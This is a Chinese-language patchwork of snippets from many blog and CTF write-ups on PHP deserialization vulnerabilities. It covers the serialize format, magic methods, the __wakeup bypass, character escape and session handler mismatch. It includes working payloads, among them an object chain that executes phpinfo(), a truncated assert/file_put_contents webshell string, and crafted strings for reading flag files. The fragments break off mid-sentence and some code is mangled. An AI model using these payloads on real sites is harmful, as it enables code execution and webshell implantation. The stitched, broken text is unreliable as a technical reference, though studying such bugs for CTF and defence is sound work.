stripslashes可以去除反斜线,准确的说是去掉一个反斜线,因为如果是两个反斜线的话stripslashes会把两个反斜线替换成一个: 引用php手册的例子: <? php $str = "Is your name O\'reilly?"; // 输出: Is your name O'reilly? echo stripslashes($str); ?>
PHP反序列化原理 原理 序列化就是将对象转换成字符串。反序列化相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。 单引号不能处理变量和转义字符,**除了(\\\和\)** # PHP反序列化真题 ## 添加cookie的方法: 1. web262 PHP反序列化特点 PHP在进行反序列化时,底层代码是以**;作为字段的分隔,以}**作为结尾(字符串除外),并且是根据长度判断内容的,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 ,那么此时就再需要输入16个p,与上面构造的代码 “;i:1;s:2:”20”;}” 拼接,即username=’pppppppppppppppp”;i:1;s:2:”20”;}’,这样序列化对应的32 将**age的值改为要修改的数值**,即20,得到age处序列化的值为 ```php ;i:1;s:2:"20";} 上面得到的值即为最终的逃逸代码,把这段数值再次传入demo代码的
"bb";i:2;s:3:"ccc";} # 格式化 a:3:{ i:0;s:1:"a"; i:1;s:2:"bb"; i:2;s:3:"ccc"; } 对象序列化 <? php class name1 { var $test1; var $test2; } $test3 = new name1; $test3 "; s:2:"hi"; s:5:"test2"; s:3:"fun"; } 反序列化 unserialize() 数组反序列化 <? > 输出 Array ( [0] => a [1] => bb [2] => ccc ) 对象反序列化 <? php class temp { var $test1; var $test2; } $test3 = new temp; $test3-
习惯性借用手册里面的介绍: 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 ,用一个变量接收值 $array_2=array(); $array_2 = unserialize($str_value); //输出,,,尼玛,发现是不是又是数组了? print_r($array_2); 结果如下: ? ok,那么我们现在明白了我们的序列化和反序列化了吧? 序列化:serialize() 反序列化:unserialize() 注意php手册还说过:“为了能够unserialize()一个对象,这个对象的类必须已经定义过。 如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义” 意思就是如果反序列化一个对象,那么这个对象必须在这个php文件里面,或者说已经引入到了这个文件,而且要在反序列化之前定义。
1.5 序列化与反序列化 在PHP中,数组和对象无法保存,如果需要保存就要将数组或对象转换成一个序列。 序列化:将数组或对象转换成一个序列(serialize) 反序列化:将序列化的字符串转换成数组或对象。(unserialize) 1.5.1 数组的序列化与反序列化 <? php //数组的序列化 /* $stu=['tom','berry','ketty']; $str=serialize($stu); //序列化 file_put_contents('. /stu.txt'); $stu=unserialize($str); //反序列化 print_r($stu); //Array ( [0] => tom [1] => berry [2] => ketty php class Student { public $name; protected $sex; private $add; public function __construct($name
以序列化对象格式为例 O:4:"info":2:{s:4:"name";i:2:"19";} 0x005 反序列化漏洞 1. XSS 漏洞示例demo2.php: <? /fxlh/demo2.php? 2. 代码执行 漏洞示例test.php: <? > 上述序列化代码运行后得到的序列化值: O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}} 利用得到的序列化值构造 test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}} 0x006 反序列化webShell 1.
(反)序列化函数 定义 序列化(serialization)在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中 简单来说,就是将数据转化成一种可逆的数据结构 反序列化就是其逆向的过程 1.序列化: object(对象)的数据类型转换成字符串类型 2.反序列化: 数据串类型的数据转换成object 在PHP应用中 php序列化的函数:serialize() php反序列化的函数:unserialize() 示例 clss.php <? 2. http://127.0.0.1/xlh/mydx.php? un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:54:"file_put_contents('cy.php','<?
ctf很多题型也都是考察PHP反序列化的相关知识 PHP的序列化 序列化函数serialize() 首先我创一个Ctf类 里面写了三个属性 后创建了一个ctfer对象 将Ctf类里的信息进行了改变。 用的时候在反序列化出来就ok了 O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:" ";s:6:"*age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";} 可以看到 s:6:"*age" //*前后出现了两个%00也就是空白符 一个%00长度为一 所以序列化后 该属性长度为6 s:9:"Ctfflag" //ctf前后也就是类名前后出现两个%00 所以长度为9 PHP的反序列化 反序列化函数unserialize() 反序列化就是将一个序列化的字符串,还原回去 ctf 首先我们本地进行序列化后得到字符串 O:4:"xctf":1:{s:4:"flag";s:3:"111";} 把1写成2 达到绕过wakeup()效果 拿到flag 找到一个 比较能总结这篇文章的题
主要函数 # 将对象序列化后返回 serialize() # 将字符串反序列化后返回 unserialize() 魔术方法 方法名 触发条件 __construct 创建对象 __destruct 销毁对象 __sleep 序列化对象 __wakeup 反序列化得到对象 __invoke 以函数的形式调用对象 __toString 以字符串的形式调用对象(改方法返回值为字符串) __call 在对象上下文中调用不可访问的方法 从不可访问的属性中读取数据 __set 将数据写入不可访问的数据 __isset 在不可访问的属性上调用isset()或empty()方法 __unset 在不可访问的属性上使用unset()方法 技巧 当序列化字符串中的属性个数大于原本属性个数时
serialize:序列化 unserialize: 反序列化 简单解释: serialize 把一个对象转成字符串形式, 可以用于保存 unserialize 把serialize序列化后的字符串变成一个对象 php class F{ public $filename='a.txt'; } $a = new F(); $a->filename = 'd:\\phpstudy\\www\\2.txt '; echo serialize($a); 生成的序列化字符串为: O:1:"F":1:{s:8:"filename";s:21:"d:\phpstudy\www\2.txt";} 再创建一个 2.txt 文件用于测试, 内容为: password 现在,我们已改变了原来的 filename值,并生成了序列化字符串, 再把它发送到测试代码中去: http://localhost/11.php? a=O:1:%22F%22:1:{s:8:%22filename%22;s:21:%22d:\phpstudy\www\2.txt%22;} 测试代码除了有对象 $a 外, 还反序列化创建了一个对象 $
1 前言 最近也是在复习之前学过的内容,感觉对PHP反序列化的理解更加深了,所以在此一下 2 serialize()函数 “所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示 百度杯——Hash 其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php的内容 (1)绕过正则表达式对变量的检查 (2)绕过_wakeup()魔法函数,因为如果我们反序列化的不是 Gu3ss_m3_h2h2.php,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php 那么问题就来了,如果绕过正则表达式 (1)/[oc]:d+:/i,例如:o:4:这样就会被匹配到 php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this-& = 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php';
> 输出结果: O:6:"person":2:{s:4:"name";s:3:"cx";s:3:"age";i:19;} O代表结构类型为类 6表示类名长度 person表示类名 2表示类的属性个数 > 输出结果为: O:4:"Demo":1:{s:4:"file";s:8:"test.php";} Demo Object ( [file] => test.php ) 序列化格式 布尔型 当反序列化中对象属性的个数和真实的个数不等时,__wakeup()就会被绕过。 图片 查看代码 首先查看php源代码: <? 在反序列化操作之前会先执行__wakeup(),判断对象的文件是否为index.php,如果不是则将对象的文件属性变为index.php,注释告诉我们flag在fl4g.php里面,因此我们需要绕过__ 修改后的序列化结果如下: O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} 编码、构造payload 然后进行base64编码,注意不要忘记加上两个\x00
本文作者:cream(贝塔安全实验室-核心成员) PHP序列化漏洞原理 1、序列化(串行化) 2、反序列化(反串行化) 3、序列化实例分析 4、反序列化实例分析 5、祸起萧墙---Magic函数 5.1 PHP反序列化漏洞CTF练习题 7、防御PHP序列化漏洞 1、序列化(串行化) 将变量转换为可保存或传输的字符串的过程; 2、反序列化(反串行化) 在适当的时候把这个字符串再转化成原来的变量使用。 常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。 mixed unserialize ( string $str )对单一的已序列化的变量进行操作,将其转换回 PHP 的值。 3、序列化实例分析 <? 在源代码中可以看到flag{php_is_the_best_language} 7、防御PHP序列化漏洞 1.要严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则 2.要对于
data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";} CVE-2016-7124 ---- 漏洞介绍 ---- 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 > 2. php <? > 先对2.php的peiqi类进行序列化 <? 然后访问2.php 触发php处理器进行反序列化session文件 ? 此时session文件里面的内容 ? 题目 ---- index.php <? > 2. 通过html页面,写入到session,同时序列化内容前要加上 | ? 3.访问index.php ?
函数介绍 serialize()函数 该函数用于将实例化的对象序列化,或者序列化数组 序列化对象 <? php $a = array('l1','l2','l3'); $serialized = serialize($a); echo $serialized; ? > 得到结果 a:3:{i:0;s:2:"l1";i:1;s:2:"l2";i:2;s:2:"l3";} 每个字符都有各自的意义,从这两个得到的序列化结果也可以看出来 o表示对象,a表示数组,s表示字符 ; $test2 = unserialize($test1); echo $test2->getPassword().PHP_EOL; toString() 这个很容易理解,str就是字符串,这个方法就是将对象强制转换为 在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行,我们可以将字符串中O:4:”Name”后面的2改为3及以上的整数。这样就可以绕过。
WEB255 这题可以看出,是从cookie处触发了反序列化。 php class ctfShowUser{ public $isVip=true; } $a=new ctfShowUser(); echo urlencode(serialize > WEB256 该题多了个对username和password值的对比 所以,我们只需要增加个通过反序列化修改他们值的操作便好 WEB257 首先,我们知道__construct()函数会被 new调用,所以这里我们可以修改其调用的函数,修改至backDoor().并修改$code的值来进行反序列化攻击。 所以现在只需要梳理下图即可 $this->code==0x36d 由于这是双==,即php弱类型,所以只要传递的是877跟上字母即可
php反序列化字符逃逸 特性一 PHP在反序列化时,对象中不存在的属性也会进行序列化 <? 但事实上并不影响我们进行序列化操作。 特性二 PHP在反序列化时,底层代码是以 ; 作为字段的分隔,,以 } 作为结尾(字符串除外),并根据长度来判断内容。 "dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} 假设后台存在一个过滤机制,将包含flag的字符替换为空,那么以上序列化字符串过滤结果为 a ;}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} 然后我们可以想一下,如果我们将这字符串反序列化之后会得到什么呢? 读取d0g3_f1ag.php的值,而识别完成后最后面的 s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;} 被忽略掉了,不影响正常的反序列化过程!
php的serialize函数和unserialize函数 serialize() 返回字符串,可以存储于任何地方。 serialize() 可处理除了 resource 之外的任何类型。 这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。 在需要恢复的地方使用unserialize()函数即可 php类魔术方法中的__sleep和__wakeup 在众多的php类魔术方法中(另一篇文章有简单介绍 PHP类,魔术方法),有两个是跟序列化有关的 假设,我们在cli模式的php程序,会根据调用命令解析到不同的类执行。 所以当我们在序列化该类的对象时,不应该包含这两个属性,而应该在wakeup的时候,动态取配置文件的值然后设置进去。
,默认为0不启动 Session.serialize_handler = php --定义用来序列化/反序列化的处理器名字。 默认使用php PHP Session 序列化及反序列化处理器 PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以 下三种。 Php_serialize(php>=5.4) 经过serialize函数反序列化处理后的数组 经过serialize函数反序列化处理后的数组 提供了Session.serialize_handler > 然后我们通过传入一个值ly0n来看下三种处理器的存储格式 1.png 2.png 3.png 安全隐患 通过上面的分析知道当$_session反序列化存储的时候使用的处理器和序列化时使用的处理器不相同时就会导致数据无法正确的进行反序列化 测试1 使用不同的引擎来处理session文件 php引擎的存储格式是键名 | 反序列化处理的值 php_serialize引擎的存储格式是反序列化处理的值。
,默认为0不启动 Session.serialize_handler = php --定义用来序列化/反序列化的处理器名字。 默认使用php PHP Session 序列化及反序列化处理器 PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以 下三种。 Php_serialize(php>=5.4) 经过serialize函数反序列化处理后的数组 经过serialize函数反序列化处理后的数组 提供了Session.serialize_handler 测试1 使用不同的引擎来处理session文件 php引擎的存储格式是键名 | 反序列化处理的值 php_serialize引擎的存储格式是反序列化处理的值。 O:7:"student":2:{s:4:"name";s:4:"ly0n";s:3:"age";s:4:"1111";} 访问php_serialize.php传入payload,注意在最前面加一个|